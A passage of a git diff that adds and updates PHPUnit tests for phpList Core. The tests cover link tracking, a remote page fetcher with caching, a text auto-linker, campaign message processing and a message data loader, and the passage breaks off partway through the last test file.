+++ b/tests/Unit/Domain/Analytics/Service/LinkTrackServiceTest.php
@@ -9,6 +9,7 @@
 use PhpList\Core\Domain\Analytics\Model\LinkTrack;
 use PhpList\Core\Domain\Analytics\Repository\LinkTrackRepository;
 use PhpList\Core\Domain\Analytics\Service\LinkTrackService;
+use PhpList\Core\Domain\Messaging\Model\Dto\MessagePrecacheDto;
 use PhpList\Core\Domain\Messaging\Model\Message;
 use PhpList\Core\Domain\Messaging\Model\Message\MessageContent;
 use PHPUnit\Framework\MockObject\MockObject;
@@ -36,11 +37,13 @@ public function testExtractAndSaveLinksWithNoLinks(): void
         $messageId = 123;
         $userId = 456;
 
-        $messageContent = new MessageContent('Test Subject', 'No links here');
+        $messageContent = new MessagePrecacheDto();
+        $messageContent->subject = 'Test Subject';
+        $messageContent->content = 'No links here';
 
         $message = $this->createMock(Message::class);
         $message->method('getId')->willReturn($messageId);
-        $message->method('getContent')->willReturn($messageContent);
+        $message->method('getContent')->willReturn(new MessageContent('Test Subject', 'No links here'));
 
         $this->linkTrackRepository->expects(self::never())->method('persist');
 
@@ -57,6 +60,9 @@ public function testExtractAndSaveLinksWithLinks(): void
             . '<a href="https://test.com">this one</a>.</p>';
 
         $messageContent = new MessageContent('Test Subject', $htmlContent);
+        $messagePrecacheDto = new MessagePrecacheDto();
+        $messagePrecacheDto->subject = 'Test Subject';
+        $messagePrecacheDto->content = $htmlContent;
 
         $message = $this->createMock(Message::class);
         $message->method('getId')->willReturn($messageId);
@@ -71,7 +77,7 @@ public function testExtractAndSaveLinksWithLinks(): void
                 return null;
             });
 
-        $result = $this->subject->extractAndSaveLinks($messageContent, $userId, $messageId);
+        $result = $this->subject->extractAndSaveLinks($messagePrecacheDto, $userId, $messageId);
 
         self::assertCount(2, $result);
         self::assertSame('https://example.com', $result[0]->getUrl());
@@ -86,6 +92,10 @@ public function testExtractAndSaveLinksWithFooter(): void
         $footerContent = '<p>Footer with <a href="https://footer.com">another link</a>.</p>';
 
         $messageContent = new MessageContent('Test Subject', $htmlContent, null, $footerContent);
+        $messagePrecacheDto = new MessagePrecacheDto();
+        $messagePrecacheDto->subject = 'Test Subject';
+        $messagePrecacheDto->content = $htmlContent;
+        $messagePrecacheDto->htmlFooter = $footerContent;
 
         $message = $this->createMock(Message::class);
         $message->method('getId')->willReturn($messageId);
@@ -100,7 +110,7 @@ public function testExtractAndSaveLinksWithFooter(): void
                 return null;
             });
 
-        $result = $this->subject->extractAndSaveLinks($messageContent, $userId, $messageId);
+        $result = $this->subject->extractAndSaveLinks($messagePrecacheDto, $userId, $messageId);
 
         self::assertCount(2, $result);
         self::assertSame('https://example.com', $result[0]->getUrl());
@@ -114,6 +124,9 @@ public function testExtractAndSaveLinksWithDuplicateLinks(): void
         $htmlContent = '<p><a href="https://example.com">Link 1</a> and <a href="https://example.com">Link 2</a>.</p>';
 
         $messageContent = new MessageContent('Test Subject', $htmlContent);
+        $messagePrecacheDto = new MessagePrecacheDto();
+        $messagePrecacheDto->subject = 'Test Subject';
+        $messagePrecacheDto->content = $htmlContent;
 
         $message = $this->createMock(Message::class);
         $message->method('getId')->willReturn($messageId);
@@ -128,7 +141,7 @@ public function testExtractAndSaveLinksWithDuplicateLinks(): void
                 return null;
             });
 
-        $result = $this->subject->extractAndSaveLinks($messageContent, $userId, $messageId);
+        $result = $this->subject->extractAndSaveLinks($messagePrecacheDto, $userId, $messageId);
 
         self::assertCount(1, $result);
         self::assertSame('https://example.com', $result[0]->getUrl());
@@ -141,6 +154,9 @@ public function testExtractAndSaveLinksWithNullText(): void
         $footerContent = '<p>Footer with <a href="https://footer.com">a link</a>.</p>';
 
         $messageContent = new MessageContent('Test Subject', null, null, $footerContent);
+        $messagePrecacheDto = new MessagePrecacheDto();
+        $messagePrecacheDto->subject = 'Test Subject';
+        $messagePrecacheDto->htmlFooter = $footerContent;
 
         $message = $this->createMock(Message::class);
         $message->method('getId')->willReturn($messageId);
@@ -155,7 +171,7 @@ public function testExtractAndSaveLinksWithNullText(): void
                 return null;
             });
 
-        $result = $this->subject->extractAndSaveLinks($messageContent, $userId, $messageId);
+        $result = $this->subject->extractAndSaveLinks($messagePrecacheDto, $userId, $messageId);
 
         self::assertCount(1, $result);
         self::assertSame('https://footer.com', $result[0]->getUrl());
@@ -167,6 +183,9 @@ public function testExtractAndSaveLinksWithMessageWithoutId(): void
         $htmlContent = '<p><a href="https://example.com">Link</a></p>';
 
         $messageContent = new MessageContent('Test Subject', $htmlContent);
+        $messagePrecacheDto = new MessagePrecacheDto();
+        $messagePrecacheDto->subject = 'Test Subject';
+        $messagePrecacheDto->content = $htmlContent;
 
         $message = $this->createMock(Message::class);
         $message->method('getId')->willReturn(null);
@@ -175,7 +194,7 @@ public function testExtractAndSaveLinksWithMessageWithoutId(): void
         $this->expectException(MissingMessageIdException::class);
         $this->expectExceptionMessage('Message must have an ID');
 
-        $this->subject->extractAndSaveLinks($messageContent, $userId, $message->getId());
+        $this->subject->extractAndSaveLinks($messagePrecacheDto, $userId, $message->getId());
     }
 
     public function testIsExtractAndSaveLinksApplicableWhenClickTrackIsTrue(): void
@@ -207,6 +226,9 @@ public function testExtractAndSaveLinksWithExistingLink(): void
         $message = $this->createMock(Message::class);
         $message->method('getId')->willReturn($messageId);
         $message->method('getContent')->willReturn($messageContent);
+        $messagePrecacheDto = new MessagePrecacheDto();
+        $messagePrecacheDto->subject = 'Test Subject';
+        $messagePrecacheDto->content = $htmlContent;
 
         $existingLinkTrack = new LinkTrack();
         $existingLinkTrack->setMessageId($messageId);
@@ -221,7 +243,7 @@ public function testExtractAndSaveLinksWithExistingLink(): void
         $this->linkTrackRepository->expects(self::never())
             ->method('persist');
 
-        $result = $this->subject->extractAndSaveLinks($messageContent, $userId, $message->getId());
+        $result = $this->subject->extractAndSaveLinks($messagePrecacheDto, $userId, $messageId);
 
         self::assertCount(1, $result);
         self::assertSame($existingLinkTrack, $result[0]);
diff --git a/tests/Unit/Domain/Common/RemotePageFetcherTest.php b/tests/Unit/Domain/Common/RemotePageFetcherTest.php
new file mode 100644
index 00000000..caa360f0
--- /dev/null
+++ b/tests/Unit/Domain/Common/RemotePageFetcherTest.php
@@ -0,0 +1,203 @@
+<?php
+
+declare(strict_types=1);
+
+namespace PhpList\Core\Tests\Unit\Domain\Common;
+
+use Doctrine\ORM\EntityManagerInterface;
+use PhpList\Core\Domain\Common\HtmlUrlRewriter;
+use PhpList\Core\Domain\Common\RemotePageFetcher;
+use PhpList\Core\Domain\Configuration\Model\ConfigOption;
+use PhpList\Core\Domain\Configuration\Model\UrlCache;
+use PhpList\Core\Domain\Configuration\Repository\UrlCacheRepository;
+use PhpList\Core\Domain\Configuration\Service\Manager\EventLogManager;
+use PhpList\Core\Domain\Configuration\Service\Provider\ConfigProvider;
+use PHPUnit\Framework\MockObject\MockObject;
+use PHPUnit\Framework\TestCase;
+use Psr\SimpleCache\CacheInterface;
+use Symfony\Contracts\HttpClient\HttpClientInterface;
+use Symfony\Contracts\HttpClient\ResponseInterface;
+
+class RemotePageFetcherTest extends TestCase
+{
+    private HttpClientInterface&MockObject $httpClient;
+    private CacheInterface&MockObject $cache;
+    private ConfigProvider&MockObject $configProvider;
+    private UrlCacheRepository&MockObject $urlCacheRepository;
+    private EventLogManager&MockObject $eventLogManager;
+    private HtmlUrlRewriter&MockObject $htmlUrlRewriter;
+    private EntityManagerInterface&MockObject $entityManager;
+
+    protected function setUp(): void
+    {
+        $this->httpClient = $this->createMock(HttpClientInterface::class);
+        $this->cache = $this->createMock(CacheInterface::class);
+        $this->configProvider = $this->createMock(ConfigProvider::class);
+        $this->urlCacheRepository = $this->createMock(UrlCacheRepository::class);
+        $this->eventLogManager = $this->createMock(EventLogManager::class);
+        $this->htmlUrlRewriter = $this->createMock(HtmlUrlRewriter::class);
+        $this->entityManager = $this->createMock(EntityManagerInterface::class);
+    }
+
+    private function createFetcher(int $ttl = 300): RemotePageFetcher
+    {
+        return new RemotePageFetcher(
+            httpClient: $this->httpClient,
+            cache: $this->cache,
+            configProvider: $this->configProvider,
+            urlCacheRepository: $this->urlCacheRepository,
+            eventLogManager: $this->eventLogManager,
+            htmlUrlRewriter: $this->htmlUrlRewriter,
+            entityManager: $this->entityManager,
+            defaultTtl: $ttl,
+        );
+    }
+
+    public function testReturnsContentFromPsrCacheWhenFresh(): void
+    {
+        $url = 'https://example.com/page?x=1&y=2';
+        $this->configProvider->method('getValue')->with(ConfigOption::RemoteUrlAppend)->willReturn('');
+
+        $cached = [
+            'fetched' => time(),
+            'content' => '<p>cached</p>',
+        ];
+        $this->cache->method('get')->with(md5($url))->willReturn($cached);
+
+        $this->urlCacheRepository->expects($this->never())->method('findByUrlAndLastModified');
+        $this->httpClient->expects($this->never())->method('request');
+
+        $fetcher = $this->createFetcher();
+        $result = $fetcher($url, []);
+
+        $this->assertSame('<p>cached</p>', $result);
+    }
+
+    public function testReturnsContentFromDbCacheWhenFresh(): void
+    {
+        $url = 'https://ex.org/page';
+        $this->configProvider->method('getValue')->with(ConfigOption::RemoteUrlAppend)->willReturn('');
+
+        $this->cache->method('get')->with(md5($url))->willReturn(null);
+
+        $recent = (new UrlCache())
+            ->setUrl($url)
+            ->setLastModified(time())
+            ->setContent('<p>db</p>');
+
+        $this->urlCacheRepository
+            ->expects($this->once())
+            ->method('findByUrlAndLastModified')
+            ->with($url)
+            ->willReturn($recent);
+
+        $this->httpClient->expects($this->never())->method('request');
+
+        $fetcher = $this->createFetcher();
+        $result = $fetcher($url, []);
+
+        $this->assertSame('<p>db</p>', $result);
+    }
+
+    public function testFetchesAndCachesWhenNoFreshCache(): void
+    {
+        $url = 'https://ex.net/a.html';
+        $this->configProvider->method('getValue')->with(ConfigOption::RemoteUrlAppend)->willReturn('');
+
+        $this->cache->method('get')->with(md5($url))->willReturn(null);
+
+        $this->urlCacheRepository
+            ->expects($this->atLeast(2))
+            ->method('findByUrlAndLastModified')
+            ->with($this->equalTo($url), $this->logicalOr($this->equalTo(0), $this->isType('int')))
+            ->willReturnOnConsecutiveCalls(null, null);
+
+        $this->urlCacheRepository->method('getByUrl')->with($url)->willReturn([]);
+
+        $response = $this->createMock(ResponseInterface::class);
+        $response->method('getContent')->with(false)->willReturn('<h1>hello</h1>');
+        $this->httpClient
+            ->expects($this->once())
+            ->method('request')
+            ->with('GET', $url, $this->arrayHasKey('timeout'))
+            ->willReturn($response);
+
+        $this->htmlUrlRewriter
+            ->expects($this->once())
+            ->method('addAbsoluteResources')
+            ->with('<h1>hello</h1>', $url)
+            ->willReturn('rewritten:<h1>hello</h1>');
+
+        $this->urlCacheRepository->expects($this->once())->method('persist')
+            ->with($this->isInstanceOf(UrlCache::class));
+
+        $this->cache->expects($this->once())->method('set')
+            ->with(md5($url), $this->callback(function ($v) {
+                return is_array($v)
+                    && isset($v['fetched'], $v['content'])
+                    && $v['content'] === 'rewritten:<h1>hello</h1>'
+                    && is_int($v['fetched']);
+            }));
+
+        $this->eventLogManager->expects($this->atLeastOnce())->method('log');
+
+        $fetcher = $this->createFetcher();
+        $result = $fetcher($url, []);
+
+        $this->assertSame('rewritten:<h1>hello</h1>', $result);
+    }
+
+    public function testHttpFailureReturnsEmptyStringAndNoCacheSet(): void
+    {
+        $url = 'https://bad.example/x';
+        $this->configProvider->method('getValue')->with(ConfigOption::RemoteUrlAppend)->willReturn('');
+        $this->cache->method('get')->with(md5($url))->willReturn(null);
+
+        $this->urlCacheRepository->method('findByUrlAndLastModified')->willReturn(null);
+
+        $this->httpClient->method('request')->willThrowException(new \RuntimeException('fail'));
+
+        $this->cache->expects($this->never())->method('set');
+        $this->entityManager->expects($this->never())->method('persist');
+        $this->htmlUrlRewriter->expects($this->never())->method('addAbsoluteResources');
+
+        $fetcher = $this->createFetcher();
+        $result = $fetcher($url, []);
+
+        $this->assertSame('', $result);
+    }
+
+    public function testUrlExpansionAndPlaceholderSubstitution(): void
+    {
+        $baseUrl = 'https://site.tld/path';
+
+        $this->configProvider->method('getValue')->with(ConfigOption::RemoteUrlAppend)->willReturn('a=1&b=2');
+
+        $this->cache->method('get')->willReturn(null);
+
+        $this->urlCacheRepository->method('findByUrlAndLastModified')->willReturn(null);
+        $this->urlCacheRepository->method('getByUrl')->willReturn([]);
+
+        // After expansion, the code appends sanitized string directly. Because the URL already
+        // contains a '?', append will be concatenated without an extra separator.
+
+        // The invoke method replaces placeholders in URL prior to expansion.
+        $urlWithPlaceholders = $baseUrl . '/[name]?q=[q]&amp;x=1';
+        $userData = ['name' => 'John Doe', 'q' => 'a&b', 'password' => 'secret'];
+
+        $response = $this->createMock(ResponseInterface::class);
+        $response->method('getContent')->with(false)->willReturn('ok');
+        $this->httpClient
+            ->expects($this->once())
+            ->method('request')
+            ->with($this->equalTo('GET'), $this->isType('string'), $this->arrayHasKey('timeout'))
+            ->willReturn($response);
+
+        $this->htmlUrlRewriter->method('addAbsoluteResources')->willReturnCallback(fn(string $html) => $html);
+
+        $fetcher = $this->createFetcher();
+        $result = $fetcher($urlWithPlaceholders, $userData);
+
+        $this->assertSame('ok', $result);
+    }
+}
diff --git a/tests/Unit/Domain/Common/TextParserTest.php b/tests/Unit/Domain/Common/TextParserTest.php
new file mode 100644
index 00000000..5920c037
--- /dev/null
+++ b/tests/Unit/Domain/Common/TextParserTest.php
@@ -0,0 +1,69 @@
+<?php
+
+declare(strict_types=1);
+
+namespace PhpList\Core\Tests\Unit\Domain\Common;
+
+use PhpList\Core\Domain\Common\TextParser;
+use PHPUnit\Framework\TestCase;
+
+class TextParserTest extends TestCase
+{
+    private TextParser $parser;
+
+    protected function setUp(): void
+    {
+        $this->parser = new TextParser();
+    }
+
+    public function testEmailIsMadeClickable(): void
+    {
+        $input = 'Contact me at foo.bar-1@example.co.uk';
+        $out = ($this->parser)($input);
+
+        $this->assertSame(
+            'Contact me at <a href="mailto:foo.bar-1%40example.co.uk" class="email">foo.bar-1@example.co.uk</a>',
+            $out
+        );
+    }
+
+    public function testHttpUrlAutoLinkAndPeriodOutside(): void
+    {
+        $input = 'See http://example.com/path.';
+        $out = ($this->parser)($input);
+
+        // For non-www URLs, the displayed text is without the scheme
+        $this->assertSame(
+            'See <a href="http://example.com/path" class="url" target="_blank">example.com/path</a>.',
+            $out
+        );
+    }
+
+    public function testWwwAutoLink(): void
+    {
+        $input = 'Visit www.google.com/maps';
+        $out = ($this->parser)($input);
+
+        $this->assertSame(
+            'Visit <a href="http://www.google.com/maps" class="url" target="_blank">www.google.com/maps</a>',
+            $out
+        );
+    }
+
+    public function testNewlinesBecomeBrAndLeadingTrim(): void
+    {
+        // leading newline should be trimmed, others converted
+        $input = "\nLine1\nLine2";
+        $out = ($this->parser)($input);
+
+        $this->assertSame("Line1<br />\nLine2", $out);
+    }
+
+    public function testParensAndDollarPreserved(): void
+    {
+        $input = 'Price is $10 (approx)';
+        $out = ($this->parser)($input);
+
+        $this->assertSame('Price is $10 (approx)', $out);
+    }
+}
diff --git a/tests/Unit/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandlerTest.php b/tests/Unit/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandlerTest.php
index a565f558..86a98c5f 100644
--- a/tests/Unit/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandlerTest.php
+++ b/tests/Unit/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandlerTest.php
@@ -7,6 +7,7 @@
 use Doctrine\ORM\EntityManagerInterface;
 use Exception;
 use PhpList\Core\Domain\Configuration\Service\Manager\EventLogManager;
+use PhpList\Core\Domain\Configuration\Service\UserPersonalizer;
 use PhpList\Core\Domain\Messaging\Message\CampaignProcessorMessage;
 use PhpList\Core\Domain\Messaging\MessageHandler\CampaignProcessorMessageHandler;
 use PhpList\Core\Domain\Messaging\Model\Message;
@@ -15,9 +16,11 @@
 use PhpList\Core\Domain\Messaging\Model\Message\MessageStatus;
 use PhpList\Core\Domain\Messaging\Repository\MessageRepository;
 use PhpList\Core\Domain\Messaging\Repository\UserMessageRepository;
+use PhpList\Core\Domain\Messaging\Service\Builder\EmailBuilder;
 use PhpList\Core\Domain\Messaging\Service\Handler\RequeueHandler;
 use PhpList\Core\Domain\Messaging\Service\Manager\MessageDataManager;
 use PhpList\Core\Domain\Messaging\Service\MaxProcessTimeLimiter;
+use PhpList\Core\Domain\Messaging\Service\MessageDataLoader;
 use PhpList\Core\Domain\Messaging\Service\MessageProcessingPreparator;
 use PhpList\Core\Domain\Messaging\Service\MessagePrecacheService;
 use PhpList\Core\Domain\Messaging\Service\RateLimitedCampaignMailer;
@@ -28,6 +31,7 @@
 use PHPUnit\Framework\TestCase;
 use Psr\Log\LoggerInterface;
 use Psr\SimpleCache\CacheInterface;
+use Symfony\Component\Mailer\MailerInterface;
 use Symfony\Component\Mime\Email;
 use Symfony\Component\Translation\Translator;
 use Symfony\Contracts\Translation\TranslatorInterface;
@@ -43,6 +47,8 @@ class CampaignProcessorMessageHandlerTest extends TestCase
     private MessageRepository|MockObject $messageRepository;
     private TranslatorInterface|MockObject $translator;
     private MessagePrecacheService|MockObject $precacheService;
+    private CacheInterface|MockObject $cache;
+    private MailerInterface|MockObject $symfonyMailer;
 
     protected function setUp(): void
     {
@@ -57,17 +63,28 @@ protected function setUp(): void
         $requeueHandler = $this->createMock(RequeueHandler::class);
         $this->translator = $this->createMock(Translator::class);
         $this->precacheService = $this->createMock(MessagePrecacheService::class);
+        $this->cache = $this->createMock(CacheInterface::class);
+        $this->symfonyMailer = $this->createMock(MailerInterface::class);
+        $userPersonalizer = $this->createMock(UserPersonalizer::class);
 
         $timeLimiter->method('start');
         $timeLimiter->method('shouldStop')->willReturn(false);
 
+        // Ensure personalization returns original text so assertions on replaced links remain valid
+        $userPersonalizer
+            ->method('personalize')
+            ->willReturnCallback(function (string $text) {
+                return $text;
+            });
+
         $this->handler = new CampaignProcessorMessageHandler(
-            mailer: $this->mailer,
+            mailer: $this->symfonyMailer,
+            rateLimitedCampaignMailer: $this->mailer,
             entityManager: $this->entityManager,
             subscriberProvider: $this->subscriberProvider,
             messagePreparator: $this->messagePreparator,
             logger: $this->logger,
-            cache: $this->createMock(CacheInterface::class),
+            cache: $this->cache,
             userMessageRepository: $userMessageRepository,
             timeLimiter: $timeLimiter,
             requeueHandler: $requeueHandler,
@@ -77,6 +94,10 @@ protected function setUp(): void
             eventLogManager: $this->createMock(EventLogManager::class),
             messageDataManager: $this->createMock(MessageDataManager::class),
             precacheService: $this->precacheService,
+            userPersonalizer: $userPersonalizer,
+            messageDataLoader: $this->createMock(MessageDataLoader::class),
+            emailBuilder: $this->createMock(EmailBuilder::class),
+            messageEnvelope: 'messageEnvelope',
             maxMailSize: 0,
         );
     }
@@ -110,6 +131,11 @@ public function testInvokeWithNoSubscribers(): void
             ->with(1, MessageStatus::Submitted)
             ->willReturn($campaign);
 
+        $this->precacheService->expects($this->once())
+            ->method('precacheMessage')
+            ->with($campaign, $this->anything())
+            ->willReturn(true);
+
         $this->subscriberProvider->expects($this->once())
             ->method('getSubscribersForMessage')
             ->with($campaign)
@@ -121,7 +147,7 @@ public function testInvokeWithNoSubscribers(): void
         $this->entityManager->expects($this->atLeastOnce())
             ->method('flush');
 
-        $this->mailer->expects($this->never())
+        $this->symfonyMailer->expects($this->never())
             ->method('send');
 
         ($this->handler)(new CampaignProcessorMessage(1));
@@ -138,6 +164,11 @@ public function testInvokeWithInvalidSubscriberEmail(): void
             ->with(1, MessageStatus::Submitted)
             ->willReturn($campaign);
 
+        $this->precacheService->expects($this->once())
+            ->method('precacheMessage')
+            ->with($campaign, $this->anything())
+            ->willReturn(true);
+
         $subscriber = $this->createMock(Subscriber::class);
         $subscriber->method('getEmail')->willReturn('invalid-email');
         $subscriber->method('getId')->willReturn(1);
@@ -156,7 +187,7 @@ public function testInvokeWithInvalidSubscriberEmail(): void
         $this->messagePreparator->expects($this->never())
             ->method('processMessageLinks');
 
-        $this->mailer->expects($this->never())
+        $this->symfonyMailer->expects($this->never())
             ->method('send');
 
         ($this->handler)(new CampaignProcessorMessage(1));
@@ -165,8 +196,12 @@ public function testInvokeWithInvalidSubscriberEmail(): void
     public function testInvokeWithValidSubscriberEmail(): void
     {
         $campaign = $this->createMock(Message::class);
-        $content = $this->createContentMock();
-        $campaign->method('getContent')->willReturn($content);
+        $precached = new \PhpList\Core\Domain\Messaging\Model\Dto\MessagePrecacheDto();
+        $precached->subject = 'Test Subject';
+        $precached->content = '<p>Test HTML message</p>';
+        $precached->textContent = 'Test text message';
+        $precached->footer = 'Test footer message';
+        $campaign->method('getContent')->willReturn($this->createContentMock());
         $metadata = $this->createMock(MessageMetadata::class);
         $campaign->method('getMetadata')->willReturn($metadata);
         $campaign->method('getId')->willReturn(1);
@@ -175,6 +210,13 @@ public function testInvokeWithValidSubscriberEmail(): void
             ->with(1, MessageStatus::Submitted)
             ->willReturn($campaign);
 
+        $this->precacheService->expects($this->once())
+            ->method('precacheMessage')
+            ->with($campaign, $this->anything())
+            ->willReturn(true);
+
+        $this->cache->method('get')->willReturn($precached);
+
         $subscriber = $this->createMock(Subscriber::class);
         $subscriber->method('getEmail')->willReturn('test@example.com');
         $subscriber->method('getId')->willReturn(1);
@@ -186,19 +228,20 @@ public function testInvokeWithValidSubscriberEmail(): void
 
         $this->messagePreparator->expects($this->once())
             ->method('processMessageLinks')
-            ->willReturn($content);
+            ->with(1, $precached, $subscriber)
+            ->willReturn($precached);
 
         $this->mailer->expects($this->once())
             ->method('composeEmail')
             ->with(
                 $this->identicalTo($campaign),
                 $this->identicalTo($subscriber),
-                $this->identicalTo($content)
+                $this->identicalTo($precached)
             )
-            ->willReturnCallback(function ($camp, $sub, $proc) use ($campaign, $subscriber, $content) {
+            ->willReturnCallback(function ($camp, $sub, $proc) use ($campaign, $subscriber, $precached) {
                 $this->assertSame($campaign, $camp);
                 $this->assertSame($subscriber, $sub);
-                $this->assertSame($content, $proc);
+                $this->assertSame($precached, $proc);
 
                 return (new Email())
                     ->from('news@example.com')
@@ -208,7 +251,7 @@ public function testInvokeWithValidSubscriberEmail(): void
                     ->html('<p>Test HTML message</p>');
             });
 
-        $this->mailer->expects($this->once())
+        $this->symfonyMailer->expects($this->once())
             ->method('send')
             ->with($this->isInstanceOf(Email::class));
 
@@ -224,9 +267,13 @@ public function testInvokeWithValidSubscriberEmail(): void
     public function testInvokeWithMailerException(): void
     {
         $campaign = $this->createMock(Message::class);
-        $content = $this->createContentMock();
+        $precached = new \PhpList\Core\Domain\Messaging\Model\Dto\MessagePrecacheDto();
+        $precached->subject = 'Test Subject';
+        $precached->content = '<p>Test HTML message</p>';
+        $precached->textContent = 'Test text message';
+        $precached->footer = 'Test footer message';
         $metadata = $this->createMock(MessageMetadata::class);
-        $campaign->method('getContent')->willReturn($content);
+        $campaign->method('getContent')->willReturn($this->createContentMock());
         $campaign->method('getMetadata')->willReturn($metadata);
         $campaign->method('getId')->willReturn(123);
 
@@ -234,15 +281,17 @@ public function testInvokeWithMailerException(): void
             ->with(123, MessageStatus::Submitted)
             ->willReturn($campaign);
 
+        $this->precacheService->expects($this->once())
+            ->method('precacheMessage')
+            ->with($campaign, $this->anything())
+            ->willReturn(true);
+
+        $this->cache->method('get')->willReturn($precached);
+
         $subscriber = $this->createMock(Subscriber::class);
         $subscriber->method('getEmail')->willReturn('test@example.com');
         $subscriber->method('getId')->willReturn(1);
 
-        $this->precacheService->expects($this->once())
-            ->method('getOrCacheBaseMessageContent')
-            ->with($campaign)
-            ->willReturn($content);
-
         $this->subscriberProvider->expects($this->once())
             ->method('getSubscribersForMessage')
             ->with($campaign)
@@ -250,11 +299,11 @@ public function testInvokeWithMailerException(): void
 
         $this->messagePreparator->expects($this->once())
             ->method('processMessageLinks')
-            ->with(123, $content, $subscriber)
-            ->willReturn($content);
+            ->with(123, $precached, $subscriber)
+            ->willReturn($precached);
 
         $exception = new Exception('Test exception');
-        $this->mailer->expects($this->once())
+        $this->symfonyMailer->expects($this->once())
             ->method('send')
             ->willThrowException($exception);
 
@@ -277,7 +326,11 @@ public function testInvokeWithMailerException(): void
     public function testInvokeWithMultipleSubscribers(): void
     {
         $campaign = $this->createCampaignMock();
-        $content = $this->createContentMock();
+        $precached = new \PhpList\Core\Domain\Messaging\Model\Dto\MessagePrecacheDto();
+        $precached->subject = 'Test Subject';
+        $precached->content = '<p>Test HTML message</p>';
+        $precached->textContent = 'Test text message';
+        $precached->footer = 'Test footer message';
         $metadata = $this->createMock(MessageMetadata::class);
         $campaign->method('getMetadata')->willReturn($metadata);
         $campaign->method('getId')->willReturn(1);
@@ -286,6 +339,13 @@ public function testInvokeWithMultipleSubscribers(): void
             ->with(1, MessageStatus::Submitted)
             ->willReturn($campaign);
 
+        $this->precacheService->expects($this->once())
+            ->method('precacheMessage')
+            ->with($campaign, $this->anything())
+            ->willReturn(true);
+
+        $this->cache->method('get')->willReturn($precached);
+
         $subscriber1 = $this->createMock(Subscriber::class);
         $subscriber1->method('getEmail')->willReturn('test1@example.com');
         $subscriber1->method('getId')->willReturn(1);
@@ -305,9 +365,13 @@ public function testInvokeWithMultipleSubscribers(): void
 
         $this->messagePreparator->expects($this->exactly(2))
             ->method('processMessageLinks')
-            ->willReturn($content);
+            ->withConsecutive(
+                [1, $precached, $subscriber1],
+                [1, $precached, $subscriber2]
+            )
+            ->willReturnOnConsecutiveCalls($precached, $precached);
 
-        $this->mailer->expects($this->exactly(2))
+        $this->symfonyMailer->expects($this->exactly(2))
             ->method('send');
 
         $metadata->expects($this->atLeastOnce())
diff --git a/tests/Unit/Domain/Messaging/Service/Manager/TemplateImageManagerTest.php b/tests/Unit/Domain/Messaging/Service/Manager/TemplateImageManagerTest.php
index 932e0d8a..238bcd06 100644
--- a/tests/Unit/Domain/Messaging/Service/Manager/TemplateImageManagerTest.php
+++ b/tests/Unit/Domain/Messaging/Service/Manager/TemplateImageManagerTest.php
@@ -4,7 +4,7 @@
 
 namespace PhpList\Core\Tests\Unit\Domain\Messaging\Service\Manager;
 
-use Doctrine\ORM\EntityManagerInterface;
+use PhpList\Core\Domain\Configuration\Service\Provider\ConfigProvider;
 use PhpList\Core\Domain\Messaging\Model\Template;
 use PhpList\Core\Domain\Messaging\Model\TemplateImage;
 use PhpList\Core\Domain\Messaging\Repository\TemplateImageRepository;
@@ -15,17 +15,17 @@
 class TemplateImageManagerTest extends TestCase
 {
     private TemplateImageRepository&MockObject $templateImageRepository;
-    private EntityManagerInterface&MockObject $entityManager;
+    private ConfigProvider&MockObject $configProvider;
     private TemplateImageManager $manager;
 
     protected function setUp(): void
     {
         $this->templateImageRepository = $this->createMock(TemplateImageRepository::class);
-        $this->entityManager = $this->createMock(EntityManagerInterface::class);
+        $this->configProvider = $this->createMock(ConfigProvider::class);
 
         $this->manager = new TemplateImageManager(
             templateImageRepository: $this->templateImageRepository,
-            entityManager: $this->entityManager
+            configProvider: $this->configProvider,
         );
     }
 
@@ -33,7 +33,7 @@ public function testCreateImagesFromImagePaths(): void
     {
         $template = $this->createMock(Template::class);
 
-        $this->entityManager->expects($this->exactly(2))
+        $this->templateImageRepository->expects($this->exactly(2))
             ->method('persist')
             ->with($this->isInstanceOf(TemplateImage::class));
 
diff --git a/tests/Unit/Domain/Messaging/Service/MessageDataLoaderTest.php b/tests/Unit/Domain/Messaging/Service/MessageDataLoaderTest.php
new file mode 100644
index 00000000..c6174a44
--- /dev/null
+++ b/tests/Unit/Domain/Messaging/Service/MessageDataLoaderTest.php
@@ -0,0 +1,140 @@
+<?php
+
+declare(strict_types=1);
+
+namespace PhpList\Core\Tests\Unit\Domain\Messaging\Service;
+
+use Doctrine\Common\Collections\ArrayCollection;
+use PhpList\Core\Domain\Configuration\Model\ConfigOption;
+use PhpList\Core\Domain\Configuration\Service\Provider\ConfigProvider;
+use PhpList\Core\Domain\Messaging\Model\Message;
+use PhpList\Core\Domain\Messaging\Model\MessageData;
+use PhpList\Core\Domain\Messaging\Repository\MessageDataRepository;
+use PhpList\Core\Domain\Messaging\Repository\MessageRepository;
+use PhpList\Core\Domain\Messaging\Service\MessageDataLoader;
+use PHPUnit\Framework\MockObject\MockObject;
+use PHPUnit\Framework\TestCase;
+use Psr\Log\LoggerInterface;
+
+class MessageDataLoaderTest extends TestCase
+{
+    private ConfigProvider&MockObject $config;
+    private MessageDataRepository&MockObject $messageDataRepository;
+    private MessageRepository&MockObject $messageRepository;
+
+    protected function setUp(): void
+    {
+        $this->config = $this->createMock(ConfigProvider::class);
+        $this->messageDataRepository = $this->createMock(MessageDataRepository::class);
+        $this->messageRepository = $this->createMock(MessageRepository::class);
+    }
+
+    public function testLoadsMessageDataMergesAndParses(): void
+    {
+        $defaultMessageAge = 3600;
+
+        $this->config->method('getValue')->willReturnMap([
+            [ConfigOption::MessageFromAddress, 'from@example.com'],
+            [ConfigOption::AdminAddress, 'admin@example.com'],
+            [ConfigOption::DefaultMessageTemplate, '123'],
+            [ConfigOption::MessageFooter, 'footer'],
+            [ConfigOption::ForwardFooter, 'ffooter'],
+            [ConfigOption::NotifyStartDefault, 'start@example.com'],
+            [ConfigOption::NotifyEndDefault, 'end@example.com'],
+            [ConfigOption::AlwaysAddGoogleTracking, '1'],
+        ]);
+
+        $messageId = 10;
+
+        // Non-empty fields from MessageRepository
+        $this->messageRepository
+            ->method('getNonEmptyFields')
+            ->with($messageId)
+            ->willReturn([
+                'subject' => '(no title)',
+                'message' => 'Hello [URL:https://example.org/p]',
+                'fromfield' => '',
+            ]);
+
+        // Stored message data rows (repository)
+        $md1 = (new MessageData())->setId($messageId)->setName('ashtml')->setData('1');
+        $md2 = (new MessageData())->setId($messageId)->setName('criteria_match')->setData('any');
